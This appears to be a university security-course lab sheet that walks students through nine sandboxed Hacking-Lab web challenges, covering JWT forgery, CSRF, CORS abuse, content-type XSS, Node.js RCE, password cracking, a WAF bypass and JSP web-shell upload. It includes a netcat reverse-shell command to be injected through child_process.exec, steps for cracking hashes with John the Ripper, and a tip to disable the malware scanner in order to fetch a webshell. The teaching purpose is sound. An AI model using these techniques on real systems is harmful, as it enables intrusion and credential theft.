Security Lab – Hacking-Lab Challenges Part 5

Introduction

In this lab, you'll first do four Hacking-Lab challenges in the context of JSON Web Token vulnerabilities and Cross-Site Request Forgery (CSRF). In addition, you'll do further Hacking-Lab challenges in the context of various vulnerability and attack types, that often go beyond what was discussed in the lecture and in the challenges you did so far. The goal is to further improve your understanding about vulnerabilities and attacks. To access the challenges, select event *Challenges Part 5* in the Hacking-Lab – this shows you the nine challenges that are part of this event. It's recommended to work through the first four challenges in the given order. The other challenges can be done in any order.

1 SCHOGGI: JWT Vulnerability 1

1.1 Goal

Get *admin* access to the Chocoshop by exploiting a vulnerability related to the handling of JSON Web Tokens (JWT).

1.2 Required solution for full points

- A description of the attack steps you performed to get access as an *admin*.
- A screenshot of the Burp *Repeater* that shows that you managed to get access to the profile information (*api/account*) of an *admin*. On the left side (*Request*), it should show the *JSON Web Tokens* tab and the attack you used, and on the right side (*Response*), it should show the profile information of an *admin* you managed to access.

1.3 Hints

- A good approach to solve this challenge is by using the *JSON Web Tokens* extension of Burp. To install it in Burp, click the *Extensions* tab, then click the *BApp Store* tab, then select *JSON Web Tokens* from the list, and click *Install*.
- Log in as *alice*/*alice.123* and access the PROFILE. This issues a request to */api/account*, which returns the profile information of *alice*. Your goal is to modify the JWT in this request, so you get access as admin and therefore to the profile information of an *admin*.
- The *Repeater* component of Burp is well-suited to modify the request to */api/account* and «to see what happens». If you installed the *JSON Web Tokens* extension, you should see a new tab *JSON Web Tokens* in the *Repeater*. There, you see an option to do an *Alg None Attack*. Yes, indeed, the JWT standard supports the «MAC algorithm» *NONE* – now guess what this means for the cryptographic protection of JWTs… Of course, you should never support this in a productive setting, but maybe it can be used in the Chocoshop? With this information, it should be possible for you to get access to the profile information of an admin.
- Once you managed to do this, use the modified JWT in the browser (the best way to do this is using the Firefox *Web Developer Tools*, accessing the *Storage* tab, and replacing the value of the cookie, which currently contains the original JWT from *alice*, with the modified JWT). Accessing the base page of the Chocoshop should then show the admin page.

2 SCHOGGI: JWT Vulnerability 2

2.1 Goal

Get *admin* access to the Chocoshop by exploiting a vulnerability related to the handling of JSON Web Tokens (JWT). This challenge is similar to the one before, but the vulnerability is a different one.

2.2 Required solution for full points

- A description of the attack steps you performed to get access as an *admin*.
- A screenshot of the Burp *Repeater* that shows that you managed to get access to the profile information (*api/account*) of an *admin*. On the left side (*Request*), it should show the *JSON Web Tokens* tab and the attack you used, and on the right side (*Response*), it should show the profile information of an *admin* you managed to access.

2.3 Hints

- Just like in the previous challenge, log in as *alice*/*alice.123* and try to modify the JWT to get access to the profile information of an *admin*.
- In the *JSON Web Tokens* tab of the Burp *Repeater*, you can specify the key that should be used to recalculate the signature (MAC) of a modified JWT. For this, select *Recalculate Signature* and then hit the *tab* key to get to the field *Secret / Key for Signature recalculation* to enter the key (it may be that this field is very small and you won't see the key you enter, but it still works).
- *john* can also crack keys that are used to protect JWTs. To do this, copy one or more JWTs into a file and use *john* with this file.

3 SCHOGGI: Cross-Site Request Forgery (CSRF) with JSON

3.1 Goal

Force a Chocoshop user to order *42 Choco cakes* by performing a multi-step Cross-Site Request Forgery (CSRF) attack.

This challenge uses a new component, a *Theia Web IDE*. This is a web server with integrated IDE that allows you to create, edit, and serve web pages. In the Hacking-Lab, this component is usually used to create attack pages, e.g., to do CSRF attacks. Be aware that the lifetime of this instance is also one hour and that any code you create within this instance will be lost after one hour. Therefore, make sure to copy your code to a location outside of this instance from time to time.

To carry out the attack, prepare an attack page using the Theia Web IDE. If a Chocoshop user that is currently authenticated in the Chocoshop accesses this attack page, the attack should be executed.

3.2 Required solution for full points

- The code of the web page *attack.html* you used to execute the attack (paste it or attach it as a file).
- A screenshot of the *PROFILE* page of *alice* that shows that *42 Choco cakes with a total price of CHF 714* were ordered.

3.3 Hints

- Use Burp to monitor the network traffic. Log in as *alice*/*alice.123*, put a cake into the shopping cart (use a different cake than the first *Choco* cake), and buy it. Observe the API calls (POST requests) to log in, to put a cake into the shopping cart, and to do the payment. This shows you that the cookie is set with the *SameSite* attribute set to *None*, and that apparently, no CSRF-token is used. That's good information for an attacker that wants to do a CSRF attack!
- However, this wouldn't be enough, as requests with content type *application/json* cannot be sent cross-origin, which is needed to do CSRF attacks. But maybe we are lucky, and the API ignores the content type. To check this, use the request to put cakes into the shopping cart in the Burp *Repeater*, change the content type to *text/plain* and see what happens. It works, so apparently, the API indeed ignores the content type, and we can simply use *text/plain* to send POST requests with JSON data cross-origin.
- In the Theia Web IDE, click *Explorer* on the left and *attack.html* in directory *www*. Modify *attack.html* so that the CSRF attack is executed if this page is requested by *alice*, i.e., *42 Choco*

cakes are put into the shopping cart and the order is completed. If you have a good understanding of JavaScript and the *fetch* API, you should be able to do this on your own. Otherwise, feel free to use the file *attack.html* from Moodle as a basis, which already contains a significant part of the attack code and where you only have to implement the function *complete_order()*, which does the second step of the attack (i.e., the payment which completes the order). If you use this file, make sure to study the provided code in detail so you understand what it exactly does.

- To execute the attack, access *https://theia-....idocker.vuln.land/attack.html* in the browser (make sure to use the correct hostname of the Theia Web IDE. If the attack was successful, the order of *42 Choco cakes with a total price of CHF 714* should be listed in the *PROFILE* of *alice*.

4 SCHOGGI: CORS Misconfiguration (Level 1)

4.1 Goal

Get access to the profile information of a Chocoshop user by performing a Cross-Site Request Forgery (CSRF) attack. In contrast to the previous challenge, where the vulnerability was mainly because a wrong handling of the content type, this time it's because of a vulnerability related to wrong usage of Cross-Origin Resource Sharing (CORS).

Just like in the previous challenge, use the Theia Web IDE to create an attack page that carries out the attack. If a Chocoshop user that is currently authenticated in the Chocoshop accessed this attack page, the attack should be executed. To demonstrate successful execution of the attack, use the JavaScript *alert* function in the attack page, which should display the complete profile information of the attacked users. In reality, this information would be sent to a server controlled by the attacker.

4.2 Required solution for full points

- The code of the web page *attack.html* you used to execute the attack (paste it or attach it as a file).
- A screenshot of the browser that shows the output of the *alert* function, which should include the full profile information if *alice*.

4.3 Hints

- Use Burp to monitor the network traffic. Log in as *alice*/*alice.123* and click on *PROFILE*. Identify the request (API call) that gets the profile information (the response should include JSON data corresponding to the address etc.). As you can see, the response does not include an *Access-Control-Allow-Origin* header. That's basically good, because this means that only simple requests are allowed cross-origin, and that it's not possible for JavaScript code in the browser to get access to the JSON data (the profile information) in the response if this request is issued cross-origin – so a CSRF attack as envisioned in this challenge does not appear to be possible.
- Use this request in the Burp *Repeater* and add an *Origin* header to the request, e.g., *Origin: https://i-wonder-what-happens*. Note that browsers always include such a header if a cross-origin request is made, and the used hostname corresponds to the origin from where the request is made (i.e., the hostname of the website from where the page that issues the cross-origin request is coming from). Submit the request and analyze the response headers. This is quite surprising (and totally insecure), and it means that a CSRF attack to get the profile information should be possible (make sure you truly understand this!).
- In the Theia Web IDE, modify *attack.html* so that the CSRF attack is executed if this page is requested by *alice*, i.e., the JavaScript alert function should show the profile information of *alice*.
- Two hints that should help you writing *attack.html*: To issue a request using *fetch* and accessing the JSON response, the following pattern can be used.:
  fetch(...)
  .then(response => response.json())
  .then(data => { / process data, which is an object that corresponds to the JSON response */ });*
  And to convert an object with JSON data to a string, *JSON.stringify(data)* can be used.

- To execute the attack, access *https://theia-....idocker.vuln.land/attack.html* in the browser (make sure to use the correct hostname of the Theia Web IDE. If the attack was successful, the popup window should show the complete profile information of *alice*.
- To improve your understanding about CORS: Use the Firefox *Web Developer Tools* and select the *Console* tab. Next, access *attack.html* again. This time, turn on interception in Burp (make sure to also intercept responses) and remove the offending headers from the response. No popup window should be displayed, and the *Console* tab should report that the cross-origin request was blocked. So, without the offending headers, the CSRF attack is not possible.

5 GlockenEmil 2.0 – JSON

5.1 Goal

Get access to the authentication token of another user by exploiting an incorrect response content type vulnerability in an API. The vulnerability is located on the *Product Details* page. The vulnerability allows an attacker to insert JavaScript code that will be executed in the browser of the victim. Note that this sounds very much like stored XSS, but in fact the main problem is due to the wrong content type.

To carry out the attack, a prepared URL would be sent to the victim (e.g., in a link in an e-mail), which executes the attack if the link is clicked, and which sends the authentication token to the request catcher of the attacker. You can simulate this by using a second browser session, logging in as another user (e.g., as *customer1/compass1*), and copying the prepared URL into the address bar.

5.2 Required solution for full points

- A description of the attack steps you performed to get the authentication token. In particular, include the JavaScript code you entered in a question and the full URL that you used to execute the attack (the URL which you'd send to the victim).
- The full request (including all headers) captured in the request catcher when the attack is executed. This request must include the session ID captured from the victim.

5.3 Hints

- To get to the vulnerable resource, log in, e.g., as *customer0/compass0*, and click *Details* of the first product.
- Enter a question and reload the page. Analyze the requests to search for an API call that gets JSON data, but with a wrong response content type: *text/html* instead of *application/json*.
- The effect of this wrong content type is that if the URL of the API call is directly used in the address bar of the browser, the response will be interpreted as HTML code and included JavaScript code will be executed.
- Note that double quotes (") in JSON data are escaped. Therefore, you cannot use this character in the injected JavaScript code.

6 GlockenEmil 2.0 – RCE Remote Code Execution

6.1 Goal

Get access to a secret key that is stored in the file system on the server by exploiting a Remote Code Execution (RCE) vulnerability. The vulnerability is located in the *Export PDF* functionality on the *Orders* page. The problem is that the web application code (implemented in Node.js) accepts user input and uses this in an insecure way to generate a PDF document of the orders. This allows an attacker to inject additional Node.js code which is executed in the web application.

This challenge also uses a Web Shell. This gives you shell access to a system in the internal Hacking Lab network, which can be used to get reverse shell access to the system where the web application is

running. When starting this system, the *Resource Properties* popup shows the credentials to log into this internal system. In reality, an attacker would just use any system controlled by him for this.

6.2 Required solution for full points

- A description of the attack steps you performed to get the secret key. In particular, include the code you injected to do the attack.
- The name of the file where you found the secret key.
- The actual secret key.

6.3 Hints

- To get to the *Orders* page, log in, e.g., as *customer0/compass0*, and click *Orders* at the top right. Here you can export a PDF document of your orders.
- After having logged into the Web Shell, the shell output tells you the IP address of the underlying system. Remember this IP address.
- To communicate from the system where you have shell access with the server where the web application is running, *netcat* can be used. *netcat* is a networking utility that allows to create TCP or UDP connections between two hosts and read and write data from/to this connection.
- To listen for incoming connections on port 1337 on the system where you have shell access, the following *netcat* command can be used: *nc -lvp 1337*
- In Node.js, *require('child_process').exec('...')* can be used to create a process in the underlying system and execute a command in this system. In addition, the command *nc 10.2.3.4 1337 -e sh -i* instructs *netcat* to connect to port 1337 of the system with IP address 10.2.3.4 and to attach an interactive shell to it (which means output from this shell is sent over the connection and input is received from the connection). With this information, try to inject Node.js code using the *From/Quantity* input fields so that a process is started that connects to the system where you have shell access (which is controlled by the attacker), and that attaches an interactive shell to it. You can easily verify a successful attempt by looking the output of the Web Shell, which should inform about a successful connection, and which should provide you with reverse shell access.
- The secret key you should extract is stored in a file somewhere below */app*. The relevant line in the file looks as follows: *secret: 'abc...xyz'*, where *abc...xyz* is a placeholder for the actual key. You should easily recognize the correct key, as it's fairly long and random looking.

7 Peter Brown Website

7.1 Goal

The website of Peter Brown allows users to login. Your goal is to learn the username and password of Peter Brown that should allow you to log in. In this context, you'll take advantage of several vulnerabilities and make use of several attacker tools. Correspondingly, the attack consists of many steps, which means is that it is strongly guided by the hints (it's almost a complete step-by-step instruction), so you have a good change to solve the challenge in a reasonable amount of time.

This challenge is a good example that shows that sometimes, you have to be really creative and persistent, and know and combine various tricks and tools to achieve an attack goal. It also shows that inspecting the HTML pages and parts of the web application code (PHP in this case) can help you to find vulnerabilities and valuable information to eventually achieve the attack goal. Therefore, this challenge is quite realistic as in practice, it's indeed sometimes needed to combine multiple attack steps in an ingenious way.

7.2 Required solution for full points

- A brief summary of the fundamental security problems you identified.

- The username and password of Peter Brown.

7.3 Hints

- Analyzing the source code of HTML pages is always a good idea. When looking at the source code of the *photographs* page, you can see that images are not included directly with a URL to, e.g., show a JPG image, but via a PHP script which itself gets a JPG file name as parameter. This seems to be weird, but maybe this can somehow be exploited?
- Access this PHP script directly, but with a non-existing file name. This should reveal the content of a directory on the server. It seems that if a non-existing file is used, the directory contents are delivered. That's a vulnerability as this likely is not what a secure PHP script should be doing...
- We want to get the username and password of Peter Brown. This information is probably stored in the database used by the website. And, being a simple website, it's likely the database is located on the same server. Try to exploit the vulnerability detected above to find a database file.
- Once you have found it, access the file in the browser. This should show you the used database product. Next, download the database file, this can be done best with *curl* in a terminal.
- Open the database file with the corresponding command line tool and get the content of the table that contains usernames and passwords.
- This looks very much like hashed passwords, but what kind of hashing is used? To learn about this, try to find the PHP file which does the login by exploiting the vulnerability you have detected at the very beginning.
- Once you have found this file, determine what hashing method is used for password hashing (and maybe, salt is used as well...). Now you should understand exactly what kind of password hashing is used and how to interpret the username/password information you got from the database file. What remains to be done is cracking the password hashes, which can best be done with *John the Ripper* (which can be used on command line with *john*).
- Before we can pass the file with usernames and password hashes to *john*, it must be formatted correctly so that *john* can work with it. Specifically, the lines must be rearranged to the format *username:hash$salt*. For instance, for the username *tom*, the line
  tom|K3aRH1AkSvBNGfw:4a0f3fb95c8d855b630cb43dbb5d5bf893d579adb6c54c15a8adfac8dc5a3032
  must be changed to:
  tom:4a0f3fb95c8d855b630cb43dbb5d5bf893d579adb6c54c15a8adfac8dc5a3032$K3aRH1AkSvBNGfw
  Do this for all usernames and password hashes from the database file and store them, line by line, in a file *hashes.txt*.
- The challenge description contains this hint: *The password of Mr. Brown consists of two different words on the web site, followed by a two digit number Word1Word2XX. john* does not have a rule to combine two words from a wordlist, but we can build a wordlist with combinations of two words ourselves. We could use an existing wordlist for this as a basis, but maybe Peter Brown is a person who uses words in his passwords that «are important for him». A good place for such favorite words is the *about me* page on the website, where Peter Brown informs about favorite places, pets, family member and so on. And there exists a nice little tool *cewl* that extracts all words from a web page and stores them in a file. To store the words from a web page in a file words.txt, *cewl* is used as follows:
  cewl -w words.txt URL
  Use this to get all words from the *about me* page.
- Based on this, build a wordlist that contains all pairs of two words from *words.txt*. For this, you can use the Perl program *peterbrown-double.pl* from Moodle. Use it as follows to create file *wordpairs.txt*:
  ./peterbrown-double.pl words.txt > wordpairs.txt
  Inspecting the file shows that the program not only creates all pairs, but also with all four

combinations of lower/upper case of the first character of each word, e.g.: *peterbrown*, *Peterbrown*, *peterBrown*, *PeterBrown*.

- You also have to tell *john* about the hashing that's used. *john* supports plenty of different options. From above, you should know how salt and username are combined, and what hash algorithm is used. If you inspect *https://fossies.org/linux/john/doc/DYNAMIC* for the various options, you should find the right one (it has a name of the form *dynamic_xyz* , where *xyz* is a number).
- You are almost there... What remains is telling *john* to try every word on the wordlist (*wordpairs.txt*) with every combination of two digits at the end. This is not done by *john* per default. To enable it, open *john.conf* using *sudo vim /etc/john/john.conf* (or use another editor), scroll down to *# Wordlist mode rules*, and add *<* >2 $[0-9] $[0-9]* (right below the line that contains a colon character (:))
- Finally, you can try to crack the password hashes. To do this, call *john* with the correct options:
  john --format=dynamic_xyz --wordlist=wordpairs.txt --rules hashes.txt
  This should deliver the password of Peter Brown within seconds. You can verify its correctness by trying to log in.

8 Web App Firewall Bypass

8.1 Goal

Log into the web application as user admin (without knowing the password), by exploiting a vulnerability in the authentication service that is located behind a Web Application Firewall (WAF).

8.2 Required solution for full points

- A description of the attack you performed to successfully login as *admin*. In particular, include the attack string (correctly encoded) you used to do the attack.
- The response (the displayed webpage) of the web application you received after a successful login as *admin*.

8.3 Hints

- First, read the description in the challenge description in detail. What is important is to realize that the authentication service behind the WAF signals a successful login by using the following two HTTP response headers in its response to the WAF: *Set-Cookie: LOGON=ok* and *Set-Cookie: MOD_BUT_Username=admin* (or any other username instead of admin, in case another user does a successful login). This tells the WAF that authentication was successful and further traffic from this user can be forwarded to the target web application.
- As this happens only in the internal network behind the WAF, you won't see this when observing the traffic sent and received by the browser. The traffic you can observe in the browser also includes a cookie, with name *MOD_BUT*, but this is only used to track the session between the browser and the WAF.
- Study the POST request that is sent by the browser when submitting the login form using credentials *hacker10/compass*. You can assume that the WAF forwards this request to the internal authentication server, which checks the credentials and which, if the credentials are correct, includes the two *Set-Cookie* headers that indicate successful authentication in the response to the WAF. Also, study the response you get to this POST request. Combining all this and making some assumptions about how the authentication server may create the response based on the forwarded request it received should help you to identify a possible attack, which you can try to execute. As a final hint: URL-encoding (e.g., using *CyberChef*) will be needed.

9 PLUpload Challenge

9.1 Goal

Exploit a vulnerability in a simple Content Management System (CMS) to upload code, which you can then execute to access the underlying file system. With this, get access to the content of file */var/gold.txt*.

Note that there's a functional bug in the web application, which has the effect that after a file has been uploaded, it is not visible (as a link) under *Uploaded Files* right away. To overcome this, simply re-load the page after you have uploaded a file.

9.2 Required solution for full points

- A description of the attack steps you performed to get access to file */var/gold.txt*.
- The content of file */var/gold.txt*.

9.3 Hints

- The CMS is implemented using Java Server Pages (JSP). On Moodle, you find a web-based file browser implemented as a JSP file[1,2] (*shell.jsp*). If you manage to upload this file so that it is executed when requesting it with the browser, you'll get access to the file system.
- Assume that the CMS stores the uploaded files in a directory that is located somewhere within the web application code. I.e., assume that there's a directory that contains the JSP code and that there is a subdirectory somewhere below this directory that contains the uploaded files.
- Analyze the request when uploading a file. You can see the request uses a multipart body (which is typically used when uploading a file with HTTP), with the actual file content as the final part. The first part looks interesting: *Content-Disposition: form-data; name="name"*, followed by the name of the file you are uploading. This is basically the same as a «normal» POST parameter with name *name* and where the value is the name of the file. So very likely, this parameter tells the web application the name of the file. You can easily verify this by changing this name when you are uploading a file and observing the resulting list of the uploaded files.

Lab Points

In this lab, you can get **4 Lab Points**. To get them, you must achieve all 1'450 Hacking-Lab points that you can get from solving the challenges in this lab.

[1] This file is part of this project on GitHub: *https://github.com/tennc/webshell*

[2] Note that when downloading the file on a system with installed malware scanner, it may be identified as malware (this happens, e.g., with Windows Defender). To successfully download and store the file, it may therefore be needed to temporarily turn off real-time protection in the malware scanner.